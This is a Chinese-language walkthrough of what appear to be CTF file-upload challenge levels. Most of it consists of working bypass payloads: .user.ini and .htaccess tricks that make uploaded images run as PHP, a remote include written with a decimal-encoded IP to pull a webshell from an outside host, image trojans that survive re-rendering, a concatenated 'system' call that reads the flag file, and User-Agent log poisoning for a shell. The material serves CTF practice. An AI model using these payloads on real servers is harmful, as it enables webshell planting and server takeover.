第一关
第一关
过滤了. ; () {} [] 等,这种如果user.ini还能用得话可以使用这种方法
---------------------
这两种.user.ini得写法是一个意思,都是去包含一个文件
auto_prepend_file=1.png
auto_prepend_file=png----------------------
先包含这个png文件,然后png文件中上传一个远程加载得地址,如下
<?=include'http://www.xiaodi8.com/index.txt'?>
但是这里过滤了.号,不能这样写。所以使用长连接得方式去转换一下,把www.xiaodi8.com得ip转换成init得形式,然后把马子放在index.php或者index.html中,这样直接访问ip也能解析到index中得马子,include中就不需要加文件名了,因为加文件名需要加.会被过滤
<?=include'http://3663719758/'?>
最终为手法为上传两个文件
.user.ini内容 auto_prepend_file=png png内容 <?=include'http://3663719758/'?> 访问upload/
---------------------
转换地址
-----------------------
第二关
第二关上传其他文件都会删除上传.user.ini不删除,直接一步到位
auto_prepend_file=<?=include'http://3663719758/'?>
也可以使用条件竞争上传,上传的文件功能是再重新新建一个shell文件;然后去链接新建的这个shell即可(第一种是什么都删除,第二个是检测到后门删除)
第三关
二次渲染:
网站为了更好的显示会把上传的图片进行二次渲染后,会对图片的内容进行更改,造成上传的码字也被更改;
---------
这里使用一个代码生成一个可以过二次渲染的图片木马,然后直接上传传入参数即可,需要注意的是这种图片木马需要有文件包含功能的包含图片木马才能执行,比如user.ini或者题目中的这种用download.php包含
参考过二次渲染的图片码生成,这里注意是把渲染后的图片当作源文件进行插入码子生成能绕过二次渲染的图片码
https://blog.csdn.net/qq_40800734/article/details/105920149
第四关
第四关与其相同只不过生成的是jpg的图片码
注意生成jepg图片的时候需要加参数 ,png不需要,其中11是下载下来的文件
第五关
使用.htaccess修改解析配置,使png解析成php执行
user.ini不限制中间件限制脚本语言,.htaccess限制apach才行,可以突破让nginx支持使用
AddType applicatiion/x-httpd-php .jpg 含义就是把.jpg的文件当作applicatiion/x-httpd-php也就是php执行 .jpg可以换成任意文件
第六关
禁用了很多函数名,可以用赋值的方式绕过,理论上eval应该也行
<?php $a='syste'.'m';%a('tac ../flag.php');?>
第七关
前置知识:user.ini是需要指向性文件的,比如index.php,如果网站没有显示后缀但是限制了内容的话可以使用user.ini上传,需要先上传一个index.php即可,内容无所谓,之后再利用user.ini读取acceslog文件,修改ua头去进行getshell
二次渲染判断方式
二次渲染判断方式
查看返回包,上传后再次下载查看是大小内容等是否有变化
下面是php中内置的gd库用来二次渲染jpeg图片的